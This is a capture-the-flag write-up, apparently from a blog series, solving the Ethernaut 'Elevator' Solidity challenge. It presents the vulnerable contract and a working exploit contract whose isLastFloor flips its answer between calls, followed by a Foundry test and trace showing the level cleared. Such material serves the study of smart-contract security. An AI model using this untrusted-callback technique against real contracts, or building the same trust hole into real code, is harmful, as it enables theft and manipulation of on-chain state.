To solve this challenge we have to set the top state variable to true.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

Analysis Link to heading

Let’s go over the goTo function:

function goTo(uint256 _floor) public {
    Building building = Building(msg.sender);

    if (!building.isLastFloor(_floor)) {
        floor = _floor;
        top = building.isLastFloor(floor);
    }
}
  1. It casts the msg.sender to Building, which means that it treats the msg.sender as a caller contract of the goTo function.
  2. Then it checks if we have not yet reached the top of our building: !building.isLastFloor(_floor).
  3. Finally, it sets the floor and asks the instance of the building contract if this is the last floor.

Exploit Link to heading

We can implement the Building in any way we want. Let’s make the isLastFloor return false when it is called first time and return true the second time. We’ll have a boolean flag for that:

contract BadBuilding is Building {
    bool private last;
    Elevator private immutable elevator;

    constructor(Elevator _elevator) {
      last = true;
      elevator = _elevator;
    }

    function run(uint256 floor) public {
      elevator.goTo(floor);
    }

    function isLastFloor(uint256) external returns (bool) {
        last = !last;
        return last;
    }
}

Now any floor will be the last 😜

function exploit() internal override {
    vm.startPrank(player);
    new BadBuilding(level).run(0);
    vm.stopPrank();
}

The trace:

$ forge test --match-contract ElevatorTest -vvvv

Running 1 test for src/test/Elevator.t.sol:ElevatorTest
[PASS] testElevator() (gas: 400437)
Traces:
  [400437] ElevatorTest::testElevator()
    ├─ [197817] ElevatorTest::create()
    │   ├─ [0] VM::prank(player: [...])
    │   │   └─ ← ()
    │   ├─ [185469] Ethernaut::createLevelInstance(ElevatorFactory: [...])
    │   │   ├─ [133906] ElevatorFactory::createInstance(player: [...])
    │   │   │   ├─ [101347] → new Elevator@"0x037f…dd8f"
    │   │   │   │   └─ ← 506 bytes of code
    │   │   │   └─ ← Elevator: [...]
    │   │   ├─ emit LevelInstanceCreatedLog(player: player: [...], instance: Elevator: [...])
    │   │   └─ ← Elevator: [...]
    │   └─ ← Elevator: [...]
    ├─ [0] VM::startPrank(player: [...])
    │   └─ ← ()
    ├─ [91263] → new BadBuilding@"0xa2f9…f3a7"
    │   └─ ← 344 bytes of code
    ├─ [37494] BadBuilding::run(0)
    │   ├─ [37018] Elevator::goTo(0)
    │   │   ├─ [396] BadBuilding::isLastFloor(0)
    │   │   │   └─ ← false
    │   │   ├─ [20394] BadBuilding::isLastFloor(0)
    │   │   │   └─ ← true
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    ├─ [0] VM::startPrank(player: [...])
    │   └─ ← ()
    ├─ [4292] Ethernaut::submitLevelInstance(Elevator: [...])
    │   ├─ [1245] ElevatorFactory::validateInstance(Elevator: [...], player: [...])
    │   │   ├─ [332] Elevator::top() [staticcall]
    │   │   │   └─ ← true
    │   │   └─ ← true
    │   ├─ emit LevelCompletedLog(player: player: [...], level: ElevatorFactory: [...])
    │   └─ ← true
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; finished in 990.96µs

Lessons learned Link to heading

Don’t trust the world outside 😱


Thanks for reading! We have completed another challenge and this one wasn’t that tricky 😏

The full code is here.

Let’s continue to the Ethernaut, #13 Privacy!